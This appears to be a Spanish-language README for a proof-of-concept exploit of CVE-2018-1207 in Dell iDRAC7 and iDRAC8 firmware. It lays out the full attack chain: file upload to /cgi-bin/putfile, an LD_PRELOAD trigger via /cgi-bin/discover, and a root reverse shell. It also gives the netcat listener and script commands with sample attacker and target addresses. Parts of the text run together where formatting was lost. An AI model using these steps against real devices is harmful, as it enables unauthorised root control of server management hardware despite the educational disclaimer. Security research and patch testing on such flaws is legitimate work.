
Reverse Shell CVE para iDRAC 7 & 8 con firmware 2.52.52.52 y anteriores.
Este repositorio contiene un script de prueba de concepto en Python para demostrar una vulnerabilidad de ejecución remota de código presente en dispositivos iDRAC7 e iDRAC8 con versiones de firmware 2.52.52.52 e inferiores. Este exploit permite a los atacantes ejecutar código como usuario root, lo que puede llevar a una toma total del sistema. En el código, mostramos esto ejecutando un ataque de reverse shell mediante el exploit. El código de este repositorio es una versión editada del exploit original de Michael Gargiullo (mgargiullo).
Descargo de responsabilidad: Este código se proporciona únicamente con fines educativos. No debes utilizar este script para atacar dispositivos que no poseas o para los cuales no tengas un consentimiento explícito por escrito. El uso de este script en sistemas sin la debida autorización es ilegal. No soy responsable de ningún uso indebido o daño causado por esta herramienta. El uso no autorizado puede conllevar graves consecuencias legales, incluyendo multas y penas de prisión.
?LD_DEBUG=files. Si la respuesta incluye contenido de depuración que muestra qué archivos de biblioteca está intentando cargar, entonces sabemos que es vulnerable.sh4-linux-gnu-gcc. Dado que el iDRAC funciona con una arquitectura de procesador SuperH (SH4), necesitamos compilar código en un objeto compartido (.so) para que el iDRAC pueda ejecutarlo.POST a /cgi-bin/putfile que lo guarda en /tmp/sshpkauthupload.tmp.GET a /cgi-bin/discover con el parámetro ?LD_PRELOAD=/tmp/sshpkauthupload.tmp. Esto obliga al iDRAC a cargar una biblioteca específica antes que cualquier otra biblioteca, lo que luego carga el archivo .so modificado desde el directorio /tmp/.constructor, el código se ejecuta instantáneamente al ser cargado, resultando en una reverse shell como usuario root (el usuario con los permisos más altos en un sistema basado en Linux).Antes de ejecutar el script, asegúrate de tener lo siguiente:
pip install requests)sudo apt install gcc-sh4-linux-gnu)¡Sin estos requisitos, experimentarás problemas y el exploit no podrá ejecutarse por completo! No hay verificaciones para asegurar que cumplas con estos requisitos.
Inicia un listener en tu máquina para capturar la reverse shell, usa netcat para esto.
nc -lvnp <LPORT>
Reemplaza <LPORT> con el puerto en el que quieres escuchar (por ejemplo, 5000).
Ejecuta el script con los argumentos necesarios.
python3 cve-2018-1207.py --rhost <RHOST> --rport <RPORT> --lhost <LHOST> --lport <LPORT>
--rhost: La dirección IP del iDRAC objetivo.--rport: El puerto de la interfaz web del iDRAC (normalmente 443).--lhost: Tu dirección IP local para que la reverse shell se conecte de vuelta.--lport: El puerto local en el que se está ejecutando el listener de Netcat.--keep-payload: (Opcional) Si se establece, el script no eliminará payload.c y payload.so de tu máquina después de la ejecución.Máquina del atacante (IP: 192.168.1.100) - Inicia el listener.
nc -lvnp 5000
Máquina del atacante - Ejecuta el exploit apuntando a un iDRAC en 192.168.1.50.
python3 cve-2018-1207.py --rhost 192.168.1.50 --rport 443 --lhost 192.168.1.100 --lport 5000
Si tiene éxito, recibirás una sesión de shell en tu terminal de Netcat desde la que podrás ejecutar comandos como racadm.